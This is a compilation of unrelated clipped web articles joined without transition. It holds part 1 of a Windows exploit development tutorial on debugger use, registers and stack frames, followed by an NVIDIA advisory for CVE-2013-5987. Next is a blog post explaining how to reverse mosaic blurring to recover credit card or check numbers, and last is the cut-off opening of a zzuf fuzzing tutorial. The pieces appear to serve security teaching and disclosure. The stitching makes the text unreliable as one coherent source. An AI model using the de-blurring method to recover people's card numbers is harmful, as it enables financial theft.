registers, ESP is rarely/never used for anything other than it’s intended
purpose.

**The Instruction Pointer \(EIP\)**

Not a general purpose register, but fitting to cover here, EIP points to the
memory address of the next instruction to be executed by the CPU. As you’ll
see in the coming tutorials, control the value of EIP and you can control the
execution flow of the application \(to execute code of your choosing\).

**Segment Registers and EFLAGS register**

<img src='img/Temp2_9623.png' width='203' height='140' alt='EFLAGS' />

There are two additional registers you’ll see in the Register pane, the
Segment Register and EFLAGS register. I won’t cover either in detail but note
that the EFLAGS register is comprised of a series of flags that represent
Boolean values resulting from calculations and comparisons and can be used to
determine when/if to take conditional jumps \(more on these later\).

For more on the CPU registers, check out these resources:

  * http://wiki.skullsecurity.org/Registers
  * http://www.swansontec.com/sregisters.html

### Memory Dump

Skipping to the Memory Dump pane of the CPU view, this is simply where you can
view the contents of a memory location. For example, let’s say you wanted to
view the contents of memory at ESP, which in the following screenshot is
pointing to 0007FF0C. Right-click on ESP, select “Follow in Dump” and the
Memory Dump pane will display that location.

<img src='img/Temp2_9619.png' width='570' height='407' alt='memory_dump-6' />

### CPU Instructions

As you are probably aware, most applications today are written in a high-level
language \(C, C++, etc\). When the application is compiled, these high-level
language instructions are translated into Assembly which has corresponding
opcode to help further translate the instruction into something the machine
can understand \(machine code\). Within the debugger, you can view each
Assembly instruction \(and corresponding opcode\) being processed by the CPU
within the CPU Instruction Pane. Note: For the Windows Exploit Series, I’ll be
using the x86 assembly language Intel syntax
\(http://en.wikipedia.org/wiki/X86\_assembly\_language\#Syntax\).

You can step through the execution flow of the program one at a time \(F7\)
and see the result of each CPU instruction. Let’s take a look at the first set
of instructions for Windows Media Player. The program starts paused. Hit F7 a
few times to execute the first few instructions until we get to the second MOV
DWORD PTR SS: instruction \(highlighted in the below screenshot\). The MOV
instruction copies a data item from one location to another.

<img src='img/Temp2_9593.png' width='667' height='444' alt='Mov_Dword1-6' />

This instruction is going to move the contents of EBX into the memory address
location pointed to by EBP – 18 \(remember with x86 Intel syntax it’s MOV
\[dst\] \[src\]\). Notice that EBP \(the stack base pointer\) is pointing to
0007FFC0. Using your Windows or Mac calculator \(in scientific/programmer
mode\), calculate 0007FFC0 – 0x18. The result should be 0x7FFA8, meaning that
the contents of EBP will be placed into the location of address 0007FFA8. In
fact, you don’t have to calculate this outside of Immunity. Notice the sub-
window at the bottom of the CPU instruction pane. It already tells you the
value of EBX, as well as the value of 0007FFC0 – 0x18 and the current contents
of that memory location \(F4C47D04\). You can right-click on the “Stack” line
in that sub-window and select “Follow address in Dump” to verify the contents
of that memory location.

<img src='img/Temp2_9591.png' width='668' height='444' alt='Mov_Dword2-6' />

Now hit F7 again to execute the instruction. Notice how the memory location
0007FFA8 now has a value of 00000000, since the contents of EBX were moved
there.

<img src='img/Temp2_9614.png' width='668' height='445' alt='Mov_Dword3-3' />

This was just a quick example of how you can follow the execution of each CPU
instruction within Immunity. Here’s a few more common Assembly instructions
and syntax you’ll come across:

  * ADD/SUB op1, op2 — add or subtract two operands, storing the result in the first operand. These can be registers, memory locations \(limit of one\) or constants. For example, ADD EAX, 10 means add 10 to the value of EAX and store the result in EAX
  * XOR EAX, EAX — Performing an ‘exclusive or’ of a register with itself sets its value to zero; an easy way of clearing the contents of a register
  * INC/DEC op1– increment or decrement the value of the operand by one
  * CMP op1, op2 — compare the value of two operands \(register/memory address/constant\) and set the appropriate EFLAGS value.
  * Jump \(JMP\) and conditional jump \(je, jz, etc\) — as the name implies these instructions allow you to jump to another location in the execution flow/instruction set. The JMP instruction simply jumps to a location whereas the conditional jumps \(je, jz, etc\) are taken only if certain criteria are met \(using the EFLAGS register values mentioned earlier\). For example, you might compare the values of two registers and jump to a location if they are both equal \(uses je instruction and zero flag \(zf\) = 1\). 
  * When you see a value in brackets such as ADD DWORD PTR \[X\] or MOV eax, \[ebx\] it is referring to the value stored at memory address X. In other words, EBX refers to the contents of EBX whereas \[EBX\] refers to the value stored at the memory address in EBX. 
  * Relevant size keywords: BYTE = 1 byte, WORD = 2 bytes, DWORD = 4 bytes. 

I’m certainly no expert, but when it comes to understanding and eventually
developing your own exploit code, you should to have a pretty solid grasp of
Assembly. I’ll be discussing a few more Assembly instructions as we progress
but I don’t plan on covering the Assembly language in-depth, so if you need a
refresher there are a ton of good online resources including:

  * x86 Assembly Guide
  * Sandpile.org
  * The Art of Assembly Language Programming
  * Windows Assembly Language Megaprimer

If you want a book to purchase, you might consider this one: Hacking: The Art
of Exploitation: The Art of Exploitation which not only covers the basics of
Assembly but also gets into writing exploits \(though primarily in a Linux
environment\).

For this series of posts I will do my best to explain any code examples I use
so if you have at least some basic understanding of Assembly you should be
fine.

### Windows Memory Layout

Before we talk about the stack, I want to talk briefly about the Win32 process
memory layout. I should state up-front that this will be an extremely high-
level introduction and will not cover concepts such as Address Space Layout
Randomization \(ASLR\), Virtual to Physical Address translation, Paging,
Physical Address Extension, etc. I plan to cover some of these topics in a
later installment, but for now I want to keep things very simple.

First, with Immunity attached to Windows Media Player, take a look at the
memory map by hitting ALT+M \(Alternatively you can select View->Memory or
click the ‘M’ icon on the toolbar\).

You should be presented with something that looks like the following \(exact
entries may vary\):

<img src='img/Temp2_9624.png' width='807' height='433' alt='immunity memory
map' />

This is the memory layout of the wmplayer.exe including the stack, heap,
loaded modules \(DLLs\) and the executable itself. I’ll introduce each of
these items in a bit more detail using a slightly simplified version of the
memory map found on Corelan’s great introductory tutorial on Stack Based
Overflows which I’ve mapped to the Immunity memory map of Windows Media
Player.

<img src='img/Temp2_9589.png' width='622' height='406' alt='Screen Shot
2013-11-30 at 1.35.49 PM' />

Let’s work our way up from the bottom, starting with the portion of memory
from 0xFFFFFFFF to 0x7FFFFFFF which is often referred to as “Kernel Land”.

**Kernel Land**

This portion of memory is reserved by the OS for device drivers, system cache,
paged/non-paged pool, HAL, etc. There is no user access to this portion of
memory. Note: for a thorough explanation of Windows memory management you
should check out the Windows Internals books \(currently two volumes\).

**PEB and TEB\(s\)**

When you run a program/application, an instance of that executable known as a
_process_ is run. Each process provides the resources necessary to run an
instance of that program. Every Windows process has an executive process
\(EPROCESS\) structure that contains process attributes and pointers to
related data structures. While most of these EPROCESS structures reside in
Kernel Land, the Process Environment Block \(PEB\) resides in user-accessible
memory. The PEB contains various user-mode parameters about a running process.
You can use WinDbg to easily examine the contents of the PEB by issuing the
\!peb command.

<img src='img/Temp2_9621.png' width='637' height='440' alt='PEB' />

As you can see, the PEB includes information such as the base address of the
image \(executable\), the location of the heap, the loaded modules \(DLLs\),
and Environment variables \(Operating system, relevant paths, etc\). Take a
look at the ImageBaseAddress from the above WinDbg screenshot. Note the
address 01000000. Now refer back to the previous Win32 Memory Map diagram and
note how this is the same as the very first address in the Immunity callout of
the “Program Image” block. You can do the same for the heap address and
associated DLLs.

A quick note about symbol files…it’s especially helpful to load the
appropriate symbol files when debugging Windows applications as they provide
useful, descriptive information for functions, variables, etc. You can do so
within WinDbg by navigating to “File –> Symbol File Path…”. Follow the
instructions found here: http://support.microsoft.com/kb/311503. You can also
load symbol files in Immunity by navigating to “Debug –> Debugging Symbol
Options”.

More details on the entirety of the PEB structure can be found here.

A program, or process, can have one or more threads which serve as the basic
unit to which the operating system allocates processor time. Each process
begins with a single thread \(primary thread\) but can create additional
threads as needed. All of the threads share the same virtual address space and
system resources allocated to the parent process. Each thread also has its own
resources including exception handlers, priorities, local storage, etc. Just
like each program/process has a PEB, each thread has a Thread Environment
Block \(TEB\). The TEB stores context information for the image loader and
various Windows DLLs, as well as the location for the exception handler list
\(which we’ll cover in detail in a later post\). Like the PEB, the TEB resides
in the process address space since user-mode components require writable
access.

You can also view the TEB\(s\) using WinDbg.

<img src='img/Temp2_9627.png' width='299' height='198' alt='TEB' />

More details on the entirety of the TEB structure can be found here and more
details on processes and threads can be found here.

**DLLs**

Windows programs take advantage of shared code libraries called Dynamic Link
Libraries \(DLLs\) which allows for efficient code reuse and memory
allocation. These DLLs \(also known as modules or executable modules\) occupy
a portion of the memory space. As shown in the Memory Map screenshot, you can
view them in Immunity in the Memory view \(Alt+M\) or if you want to only view
the DLLs you can select the Executable Module view \(Alt+E\). There are
OS/system modules \(ntdll, user32, etc\) as well as application-specific
modules and the latter are often useful in crafting overflow exploits
\(covered in future posts\).

Here’s a screenshot of the Memory view in Immunity:

<img src='img/Temp2_9604.png' width='448' height='211' alt='modules' />

**Program Image**

The Program Image portion of memory is where the executable resides. This
includes the .text section \(containing the executable code/CPU instructions\)
the .data section \(containing the program’s global data\) and the .rsrc
section \(contains non-executable resources, including icons, images, and
strings\).

**Heap**

The heap is the dynamically allocated \(e.g. malloc\( \)\) portion of memory a
program uses to store global variables. Unlike the stack, heap memory
allocation must be managed by the application. In other words, that memory
will remain allocated until it is freed by the program or the program itself
terminates. You can think of the heap as a shared pool of memory whereas the
stack, which we’ll cover next, is more organized and compartmentalized. I
won’t go too much deeper to the heap just yet but plan to cover it in a later
post on heap overflows.

### **The Stack**

Unlike the heap, where memory allocation for global variables is relative
arbitrary and persistent, the stack is used to allocate short-term storage for
local \(function/method\) variables in an ordered manner and that memory is
subsequently freed at the termination of the given function. Recall how a
given process can have multiple threads. Each thread/function is allocated its
own stack frame. The size of that stack frame is fixed after creation and the
stack frame is deleted at the conclusion of the function.

**PUSH and POP**

Before we look at how a function is assigned a stack frame, let’s take a quick
look at some simple PUSH and POP instructions so you can see how data is
placed onto and taken off of the stack. The stack is a last-in first-out
\(LIFO\) structure meaning the last item you put on the stack is the first
item you take off. You “push” items onto the top of the stack and you “pop”
items off of the top of the stack. Let’s take a look at this in action…

In the following screenshot, you’ll see a series of PUSH instructions in the
CPU instructions pane \(top left\), each of which will take a value from one
of the registers \(top right pane\) and put that value on top of the stack
\(lower right pane\).

Let’s start with the first PUSH instruction \(PUSH ECX\).

<img src='img/Temp2_9613.png' width='600' height='151' alt='stack0' />

Take note of the value of ECX as well as the address and value of the top of
the stack \(lower right hand corner of the previous screenshot\). Now the PUSH
ECX instruction executes…

<img src='img/Temp2_9620.png' width='613' height='161' alt='stack1' />

After the first PUSH ECX instruction, the value from ECX \(address 0012E6FC\)
was pushed to the top of the stack \(as illustrated in the above screenshot\).
Notice how the address of the top of the stack decreased by 4 bytes \(From
0012E650 to 0012E64C\). This illustrates how the stack grows upward to lower
addresses as items are pushed to it. Also notice that ESP points to the top of
the stack and EBP points to the base of this stack frame. You’ll notice in the
coming screenshots that EBP \(the base pointer\) remains constant while ESP
\(the stack pointer\) shifts as the stack grows and shrinks. Now, the second
PUSH ECX instruction will be executed…

<img src='img/Temp2_9598.png' width='567' height='166' alt='stack2' />

Once again, the value from ECX \(0012E6FC\) was pushed to the top of the
stack, ESP adjusted its value by another 4 bytes, and as you can see in the
above screenshot, the last PUSH instruction \(PUSH EDI\) is about to be
executed.

<img src='img/Temp2_9609.png' width='614' height='131' alt='stack3' />

Now the value from EDI \(41414139\) was pushed to the top of the stack and the
next instruction in the list is about to be executed \(a MOV instruction\) and
the value of EDI changed. Let’s skip ahead to the POP EDI instruction to show
how items are taken off of the stack. In this case, the current value on top
of the stack \(41414139\) is going to be popped off and placed into EDI.

<img src='img/Temp2_9600.png' width='620' height='151' alt='stack4' />

<img src='img/Temp2_9597.png' width='616' height='161' alt='stack5' />

As you can see, the value of EDI has changed back to 41414139 following the
POP instruction. Now that you have an idea of how the stack is manipulated,
let’s take a look at how stack frames are created for functions and how local
variables are placed on the stack. Understanding this will be critical as we
move into stack-based overflows in part 2 of this series.

**Stack Frames and Functions**

When a program function executes, a stack frame is created to store its local
variables. Each function gets its own stack frame, which is put on top of the
current stack and causes the stack to grow upwards to lower addresses.

Each time a stack frame is created, a series of instructions executes to store
function arguments and the return address \(so the program knows where to go
after the function is over\), save the base pointer of the current stack
frame, and reserve space for any local function variables. \[note: I’m
intentionally omitting exception handlers for this basic discussion but will
address them in a later post\].

Let’s take a look at the creation of a stack frame using one of the simplest
functions I could find \(from Wikipedia\):

<img src='img/Temp2_9617.png' width='291' height='175' alt='strcpy' />

This code simply calls function foo\( \), passing it a single command line
argument parameter \(argv\[1\]\). Function foo\( \) then declares a variable c
of length 12, which reserves the necessary space on the stack to hold
argv\[1\]. It then calls function strcpy\( \) which copies the value of
argv\[1\] into variable c. As the comment states, there is no bounds checking
so this use of strcpy could lead to a buffer overflow, which I’ll demonstrate
in the part 2 of this series. For now, let’s just focus on how this function
affects the stack.

I compiled this c program \(as stack\_demo.exe\) using Visual Studio Command
Prompt \(2010\) to show exactly what it looks like as it executes in a
debugger. You can run a program with command line arguments directly from
Immunity by selecting File–>Open \(or simply hitting F3\), selecting your
executable, and entering your command line argument\(s\) in the given field.

<img src='img/Temp2_9603.png' width='354' height='256' alt='open executable in
immunity' />

For this example, I simply used 11 A’s for argv\[1\]. \[We’ll take a look at
what happens when you use more than 11 in part 2\!\]

If you want to follow along, you’ll probably want to insert some breakpoints
at the relevant portions of the code. Since addresses can change, the best
method to find our relevant program code is to select View –> Executable
modules \(or Alt+E\). Then, double-click the stack\_demo.exe module \(or
whatever you named your .exe\).

<img src='img/Temp2_9618.png' width='563' height='111' alt='view executable
modules' />

This should take you to the following:

<img src='img/Temp2_9594.png' width='733' height='217' alt='view executable'
/>

The first line you see is actually the start of foo\( \), but we’re going to
first take a look at main\( \). I’ve set several breakpoints to assist in
walking through the code \(indicated by the light blue highlight\) and you can
do the same by selecting the desired address and hitting F2. Let’s take a look
at main\( \) …

Although main\( \) does nothing more than call function foo\( \) there are a
couple of things that have to happen first, as you’ll see within the debugger.
First, it pushes the contents of Argv\[1\] \(AAAAAAAAAAAAA\) to the stack.
Then, when function foo\( \) is called, the return address is saved to the
stack so the program execution flow can resume at the proper location after
function foo\( \) terminates.

Take a look at the Immunity screenshot, which I’ve commented accordingly —
just pay attention to what’s in the red box for now; I’ll cover some of the
other instructions shortly. You’ll see a pointer to argv\[1\] is pushed to the
stack right before function foo\( \) is called. Then the CALL instruction is
executed and the return address to the next instruction \(EIP + 4\) is also
pushed to the stack.

<img src='img/Temp2_9605.png' width='638' height='66' alt='call function foo'
/>

If you want proof that address 00332FD4 contains 0033301C which is a pointer
to argv\[1\], refer to the dump contents of that address:

<img src='img/Temp2_9625.png' width='257' height='135' alt='dump of argv[1]'
/>

You’ll see the contents written backwards as 1C303300. Let me take this
opportunity to quickly cover Little Endian notation. “Endianness” refers to
the order in which bytes are stored in memory. Intel x86 based systems employ
Little Endian notation which stores the least significant byte of a value at
the smallest memory address \(which is why the address is stored in reverse
order\). As an example, refer to the above hex dump screenshot — the address
at the top \(00332FD4\) is the smallest and address at the bottom \(00333034\)
is the largest. As such, the byte in the top left \(currently occupied by 1C\)
occupies the smallest address location and the addresses get larger as you
move left to right and top to bottom. When you look at an address such as
0033301C, the least significant byte is the byte all the way to the right
\(1C\). To convert it to Little Endian notation you re-order it, one byte at a
time, from right to left. Here’s a visual:

<img src='img/Temp2_9616.png' width='620' height='134' alt='little endian' />

Ok, so argv\[1\] and the return address have now been pushed to the stack and
function foo\( \) has been called. Here’s a look at the stack with the
relevant portions highlighted.

<img src='img/Temp2_9608.png' width='461' height='336' alt='stack at call foo(
)' />

Note the pointer to argv\[1\] at address 0012FF74 and right above it the
stored RETURN value. If you refer back to the previous screenshot of main\(
\), you’ll notice that the RETURN address of 0040103F is the next instruction
after CALL foo\( \), which is where the program execution will pick up after
foo\( \) terminates.

Now let’s look at function foo\( \):

<img src='img/Temp2_9606.png' width='892' height='104' alt='function foo' />

Once function foo\( \) is called, the first thing that happens is the current
base pointer \(EBP\) is saved to the stack via a PUSH EBP instruction so that
once the function terminates, the base of the stack for main\( \) can be
restored.

Next, EBP is set equal to ESP \(via the instruction MOV EBP, ESP\), making the
top and bottom of the stack frame equal. From here, EBP will remain constant
\(for the life of function foo\) and ESP will will grow up to a lower address
as data is added to the function’s stack frame. Here’s a before and after view
of the registers showing that EBP now equals ESP.

<img src='img/Temp2_9595.png' width='206' height='106' alt='foo ebp1' /> <img
src='img/Temp2_9622.png' width='207' height='104' alt='foo ebp2' />

Next, space is reserved for the local variable c \(char c\[12\]\) via the
following instruction: SUB ESP, 10.

Here’s a look at the stack after this series of instructions:

<img src='img/Temp2_9612.png' width='454' height='147' alt='foo2' />

Notice how the top of the stack \(and as a result ESP\) has changed from
0012FF6C to 0012FF5C.

Let’s skip down to the call of strcpy\( \), which will copy the contents of
the argv\[1\] \(AAAAAAAAAAAAA\) into the space that was just reserved on the
stack for variable c. Here’s a look at the function in the debugger. I’ve only
highlighted the portion that performs the writing to the stack.

<img src='img/Temp2_9607.png' width='751' height='197' alt='strcpy' />

You’ll notice in the following screenshots that it continues to loop through
the value of argv\[1\], writing to the reserved space on the stack \(from top
to bottom of the reserved space\) until all of argv\[1\] has been written to
the stack.

<img src='img/Temp2_9615.png' width='850' height='89' alt='strcpy2' />

Before we take a look at what happens to the stack when a function terminates,
here’s another step-by-step visual to reinforce the steps taken when function
foo\( \) is called.

<img src='img/Temp2_9592.png' alt='stack frame creation' />

After strcpy\( \) has completed and function foo\( \) is ready to terminate,
some cleanup has to happen on the stack. Let’s take a look at the stack as
foo\( \) prepares to terminate and program execution is turned back over to
main\( \).

<img src='img/Temp2_9601.png' width='786' height='176' alt='end of function
foo' />

As you can see, the first instruction that is executed is MOV ESP, EBP which
puts the value of EBP in ESP so it now points to 0012FF6C, and effectively
removes variable c \(AAAAAAAAAAA\) from the stack. The top of the stack now
contains saved EBP:

<img src='img/Temp2_9596.png' width='469' height='39' alt='foo end 2' />

When the next instruction, POP EBP, is executed it will restore the previous
stack base pointer from main\( \) and increase ESP by 4. The stack pointer now
points to the RETURN value placed on the stack right before foo\( \) was
called. When the RETN instruction is executed, it will take program execution
flow back to the next instruction in main\( \) just after the CALL foo\( \)
instruction, as illustrated in the below screenshot.

<img src='img/Temp2_9590.png' width='728' height='82' alt='return to main' />

Function main\( \) will perform its own cleanup by moving the stack pointer
down the stack \(by increasing its value by 4\) and clearing the stack of
argv\[1\]. It will then clear the register it used to store argv\[1\] \(EAX\)
via an XOR, restore the saved EBP, and return to the saved return address.

That should be enough of a walk-though to understand how a function stack
frame is created/deleted and how local variables are stored on the stack. If
you want more examples, I encourage you to check out some of the other great
tutorials out there \(especially those published by Corelan Team\).

### Conclusion

That’s the end of this first installment in the Windows Exploits series.
Hopefully, you’re now familiar with using a debugger, can recognize some basic
Assembly instructions, and understand \(at a high level\) how Windows manages
memory as well as how the stack operates. In the next post, we’ll pick up with
the same basic function foo\( \) to introduce the concept of stack-based
overflows. Then I’ll jump right into writing a real-world example exploit
found for an actual vulnerable software product.

I hope this first post was clear, accurate and useful. If you have any
questions, comments, corrections, or suggestions for improvement, please don’t
hesitate to leave me some feedback in the Comments section.

<img src='img/Temp2_9602.png' width='30' height='19' />

Related Posts:

  * Windows Exploit Development – Part 1: The Basics
  * Windows Exploit Development – Part 2: Intro to Stack Based Overflows
  * Windows Exploit Development – Part 3: Changing Offset and Rebased Modules
  * Windows Exploit Development – Part 4: Locating Shellcode with Jumps
  * Windows Exploit Development – Part 5: Locating Shellcode with Egghunting
  * Windows Exploit Development – Part 6: SEH Exploits
  * Windows Exploit Development – Part 7: Unicode Buffer Overflows

### Share this:

  * Google
  * Twitter
  * Facebook
  * LinkedIn
  * Email
  * Pinterest
  * Reddit
  * 

# Unprivileged GPU access vulnerability - CVE-2013-5987

**Created:**| _12/7/2013 12:28:42 PM_  
---|---  
**Updated:**| _12/7/2013 12:28:42 PM_  
**Author:**| __  
**Tags:**| _post-exploitation GPU_  
  

# **U** nprivileged GPU access vulnerability - CVE-2013-5987****

Answer ID 3377 | Published 10/22/2013 02:08 PM | Updated 12/03/2013 12:47 PM 
Unprivileged GPU access vulnerability - CVE-2013-5987

Vulnerability Description:  
An NVIDIA graphics driver bug allows unprivileged user-mode software to access
the GPU inappropriately**.** An attacker who successfully exploited this
vulnerability could take control of an affected system**.**

Exploit Scope and Risk:  
To take advantage of this vulnerability, an attacker would need to run
specially crafted software locally on the target computer**.** Expert
knowledge of system and NVIDIA GPU programming would be required to create
such an exploit**.** NVIDIA is not aware of the existence of any actual
exploits that leverage this vulnerability**.**  
  
This issue could potentially affect all supported PC OS platforms and form
factors**.** NVIDIA Tegra GPUs are not vulnerable.  
  
Vulnerability Discovery:  
NVIDIA was alerted to this issue by Marcin Kościelnicki from the X.Org
Foundation Nouveau project**.**

Fix:  
NVIDIA has taken action to fix this issue via driver updates**.** To eliminate
this vulnerability, we strongly recommend that NVIDIA users update their
systems with the latest NVIDIA drivers, which can be installed through the
GeForce Experience application for Windows users, or downloaded from our
driver download page**.**

In general, the following actions can reduce computer security risks:  
• Do not interact with messages, chats, or other forms of electronic
communications from unknown or untrusted senders**.**  
• Do not install or execute untrusted software**.**  
• Keep your operating system and installed applications fully up-to-date with
all updates and security patches**.**  
• Use anti-virus and anti-malware security software with up-to-date
definitions**.**  
• Utilize network and local firewalls.

UNIX GPU Driver Releases

The following table shows the first NVIDIA UNIX GPU Drivers that contain the
security fix**.**

Driver Branch|  Version  
---|---  
Release 331|  331**.** 20  
Release 319|  319**.** 72  
Release 304|  304**.** 116  
<img src='img/Temp2_8731.jpg' alt='Image' />

****

# Why blurring sensitive information is a bad idea - dheera.net - Dheera
Venkatraman's web site

**Created:**| _11/27/2010 10:42:53 PM_  
---|---  
**Updated:**| _11/27/2010 10:43:00 PM_  
**Author:**| __  
**Tags:**| _Hacks awesome_  
  

Why blurring sensitive information is a bad idea

Undoubtedly you have all seen photographs of people on TV and online who have
been blurred to hide faces. For example, here's one of Bill Gates:

<img src='img/Temp2_9466.jpg' />  
Adapted from the Wikimedia Commons

For the most part this is all fine with peoples' faces as there isn't a
convenient way to reverse the blur back into a photo so detailed that you can
recognise the photo. So that's good if that is what you intended. However,
many people also resort to blurring sensitive _numbers_ and _text_. I'll
illustrate why that is a BAD idea.

  

Suppose someone posted a photo of their check or credit card online for
whatever awful reason \(proving to Digg that I earned a million dollars,
showing something funny about a check, comparing the size of something to a
credit card, etc.\), blurring out the image with the far-too-common mosaic
effect to hide the numbers:

  

<img src='img/Temp2_9464.jpg' />

Seem secure because nobody can read the numbers anymore? WRONG. Here's a way
to attack this scheme:

  

**Step 1. Get a blank check image.**

There are two ways of doing this. You can either Photoshop out the numbers in
your existing image, or in the case of credit cards, you can get an account
with the same organization and take a photo of your own card from the same
angle, and match the white balancing and contrast levels. Then, use your own
high resolution photo to photoshop out your numbers.

This is easy in these example images, of course:

  

<img src='img/Temp2_9471.jpg' />

**Step 2. Iterate.**

Use a script to iterate through all the possible account numbers and generate
a check for each, blocking out the various sections of digits as sections. For
example, for a VISA card, the digits are grouped by 4, so you can do each
section individually, thus requiring only 4\*10000 = 40000 images to generate,
which is easy with a script.

<img src='img/Temp2_9469.jpg' />

**Step 3. Blur each image in an identical manner to the original image.**

Identify the exact size and offset, in pixels, of the mosaic tiles used to
blur the original image \(easy\), and then do the same to each of your blurred
images. In this case, we see that the blurred image we have 8x8 pixel mosaic
units, and the offset is determined by counting from the top of the image
\(not shown\): <img src='img/Temp2_9465.jpg' />

Now we iterate through all the images, blurring them in the same way as the
original image and obtain something like this: <img src='img/Temp2_9463.jpg'
/>

**Step 4. Identify the mozaic brightness vector of each blurred image.**

What does this mean? Well, let's take the mozaic version of 0000001 \(zoomed
in\):

  

<img src='img/Temp2_9467.jpg' />

... and identify the brightness level \(0-255\) of each mozaic region,
indexing them in some consistent fashion as a=\[a\_1,a\_2...,a\_n\]:

  

<img src='img/Temp2_9462.jpg' />

In this case, the account number 0000001 creates mozaic brightness vector
a\(0000001\)=\[213,201,190,...\]. We find the mozaic brightness vector for
every account number in a similar fashing using a script to blur each image
and read off the brightnesses. Let a\(x\) be the function of the account
number x. a\(x\)\_i denotes the ith vector value of the mozaic brightness
vector a obtained from account number x. Above, a\(0000001\)\_1 = 213.

  

We now do the same for the original check image we found online or wherever,
obtaining a vector we hereby call z=\[z\_1,z\_2,...z\_n\]:

  

<img src='img/Temp2_9461.jpg' />

  

**Step 4. Find the one with the closest distance to the original image.**

Identify the mozaic brigtness of the original image, call it
z=\[z\_1,z\_2,...z\_n\], and then simply compute the distance of each account
number's \(denote by x\) mozaic brightness vector \(normalizing each first\):

  

d\(x\)=sqrt\(\(a\(x\)\_0/N\(a\(x\)\) - z\_0/N\(z\)\)^2 +
\(a\(x\)\_1/N\(a\(x\)\) - z\_1/N\(z\)\)^2 + ...\)

where N\(a\(x\)\) and N\(z\) are the normalization constants given by

  

N\(a\(x\)\) = \(a\(x\)\_0^2 + a\(x\)\_1 ^2 + ...\)^2 N\(z\) = \(z\_0^2 + z\_1
^2 + ...\)^2

Now, we then simply find the lowest d\(x\). For credit cards, only a small
fraction of possible numbers validate to hypothetically possible credit card
numbers, so it's an easy check as well.

  

In the above case, we compute, for example,

  

N\(z\) = sqrt\(206^2+211^2+...\) = 844.78459  
N\(a\(0000001\)\) = 907.47837  
N\(a\(0000002\)\) = 909.20647  
...

and then proceed to calculate the distances:

  

d\(0000001\) = 1.9363  
d\(0000002\) = 1.9373  
...  
d\(1124587\) = 0.12566  
d\(1124588\) = 0.00000  
...  

Might the account number just be 1124588?

  

**" But you used your own crafted easy-to-decipher image\!"**

In the real world we have photos, not fictitious checks made in Photoshop. We
have distortions of the text because of the camera angle, imperfect alignment,
and so on. But that doesn't stop a human from determining exactly what these
distortions are and creating a script to apply them\! Either way, the lowest
few distances determined can be considered as candidates, and especially in
the world of credit cards, where numbers are nicely chunked out in groups of
4, and only 1 in 10 numbers is actually a valid number, it makes it easy to
select from your top few lowest distances, which the most likely candidates
are.

  

One important thing that one would need to do in order to implement this on
real photos is to improve the distance algorithm. For example, one can rewrite
the distance formula above to normalize the standard deviations in addition to
the means to improve performance. One can also do the RGB or HSV values
independently for each mozaic region, and one can also use scripting to
distort the text by a few pixels in each direction and compare as well \(which
still leaves you with a feasible number of comparisons on a fast PC\). One can
also employ algorithms similar to existing nearest-shape algorithms to help
improve the reliability of this on real photos.

  

So yes, I used an image against itself and designed it to work here. But the
algorithem can surely be improved to work on real stuff. I don't have the time
nor desire to improve this any further, though, because I'm not the one after
your information. But one thing is for sure: it's a very easy situation to
fix. Don't use simple mosaics to blur your image. All you do is reduce the
amount of information from an image containing only log\(10^N\)/log\(2\)
effective bits of account data. When you distribute such images, you want to
_eliminate_ personal information, not obscure it by reducing the amount of
visual information in the image.

  

Think about creating a 100x100 graphic on the screen. now lets say i just
averaged out the entire graphic and replaced every pixel with the whole
average \(i.e. turn it into a single pixel "mosaic"\). You have just created a
function that starts with 256^\(10000\) possibilities and hashes it to 256
possibilities. There is obviously no way with the resulting 8 bits of
information you can possibly reverse it to the original image. However, if you
know that the original image was one of 10 possibilities, you can easily have
success at determining which of the original images was used from just knowing
the resulting 8-bit number.

  

**Analogy to a dictionary attack**

Most UNIX/Linux system administrators know that /etc/passwd or /etc/shadow
store passwords encrypted using one-way encryption such as Salt or MD5. This
is reasonably secure since nobody will ever be able to decrypt the password
from looking at its ciphertext. Authentication occurs by performing the same
one-way encryption on the password entered by the user logging in, and
comparing that result to the stored one-way result. If the two match, the user
has successfully authenticated.

  

It is well known that the one-way encryption scheme is easily broken when the
user picks a dictionary word as their password. All an attacker would have to
then do is encipher the entire English dictionary and compare the ciphertext
of each word to the ciphertext stored in /etc/passwd and pick up the correct
word as the password. As such, users are commonly advised to pick more complex
passwords that are not words. The dictionary attack can be illustrated like
this:

  

<img src='img/Temp2_9470.jpg' />

The similary to the dictionary attack on the blured image attack lies in the
fact that blurring an image is a one-way encryption scheme. You are converting
the image you have into another image designed to be unreadable. However,
since account numbers only typically go up to the millions, we can assemble a
"dictionary" of possible account numbers - that is, all the numbers from
0000001 to 9999999, for example, use an automated image processor to photoshop
each of those numbers onto a photo of a blank check, and blur each image. At
that point, one can simply compare the blurred pixels to see what _most_
closely matches the original blurred photo we have.

  

**Solution**

The solution is simple: Don't blur your images\! Instead, just color over
them:

  

<img src='img/Temp2_9468.jpg' />

Remember, you want to leave your visitors with NO information, not blurred
information.

# Using Machine Learning to predict the outcome of a zzuf fuzzing campaign

**Created:**| _6/23/2015 4:17:01 PM_  
---|---  
**Updated:**| _6/24/2015 10:42:08 AM_  
**Author:**| __  
**Tags:**| _machine-learning fuzzing_  
  

# Using Machine Learning to predict the outcome of a zzuf fuzzing campaign¶

## Overview

Fuzzing campaigns can take time. Unfortunately operating systems contain
thousands of different binaries that should be tested and there is usually no
enough time to analyze them all. Given a very large amount of programs and
inputs to fuzz \(a.k.a. _testcases_\), in this simple tutorial we are going to
detail how VDiscover is trained to predict which testcases can be mutated
using zzuf to uncover bugs. Such bugs can induce interesting unexpected
behaviors like crashes, memory leaks and infinite loops among others. After
the training, VDiscover is tested on completely new programs and detects with
reasonable accuracy if the fuzzer will discover a buggy behavior or not.

A repository including all the code and the trained predictor is available
here

## Getting started

Before start our fuzzing campaigns, it is very important to define a
controlled environment to perform our experiments. We use Vagrant for
configuring and accessing virtual machines to perform several fuzzing
campaigns. For our experiments, we started from a preinstalled Ubuntu image.
In particular, we selected the 32-bit version of Ubuntu since the x86-64
support of VDiscover is not ready yet. After installing Vagrant in the host,
an Ubuntu 14.04 virtual machine can be easily fetched executing:

[code]

    vagrant init ubuntu/trusty32
    vagrant up --provider virtualbox
    
    
[/code]

Now, our brand-new virtual machine is accessible using ssh:

[code]

    vagrant ssh
    
    
[/code]

A full upgrade is recommended before starting, since we want to find bugs in
the last versions of the software installed:

[code]

    # apt-get update
    # apt-get upgrade
    
    
[/code]

Since the programs included in the image are only the essential ones, we will
probably want to install more packages. Obviously, we will need zzuf to
perform the fuzzing \(another option is to compile it from its repository\).
We are also interested in obtain more programs to analyze focusing on the ones
that parse and process different types of files:

[code]

